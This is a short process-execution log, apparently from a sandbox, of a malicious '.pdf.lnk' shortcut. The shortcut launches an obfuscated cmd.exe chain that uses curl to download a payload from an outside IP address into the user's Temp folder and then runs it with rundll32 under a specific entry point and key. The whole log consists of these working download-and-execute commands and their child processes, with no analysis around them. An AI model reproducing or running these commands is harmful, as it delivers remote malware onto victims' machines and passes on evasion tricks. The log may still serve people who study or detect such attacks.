cmd.exe "C:\Windows\System32\cmd.exe" /c start /wait "FIXijuHnHlb" C:\Users\test22\AppData\Local\Temp\ST3.pdf.lnk
3040cmd.exe "C:\Windows\System32\cmd.exe" /c yHaS || eCHO yHaS & PInG yHaS || cuRl http":/"/135."1"2"5".17"7.82/U"M"Y"A"p"d"4/"Ze -o C:\Users\test22\AppData\Local\Temp\yHaS.log & PInG -n 4 yHaS || rundll32 C:\Users\test22\AppData\Local\Temp\yHaS.log scab /k besogon728 & eXIT 'XxUIjsuZeL
2200PING.EXE PInG yHaS
2160curl.exe cuRl http":/"/135."1"2"5".17"7.82/U"M"Y"A"p"d"4/"Ze -o C:\Users\test22\AppData\Local\Temp\yHaS.log
2412PING.EXE PInG -n 4 yHaS
1880rundll32.exe rundll32 C:\Users\test22\AppData\Local\Temp\yHaS.log scab /k besogon728
1832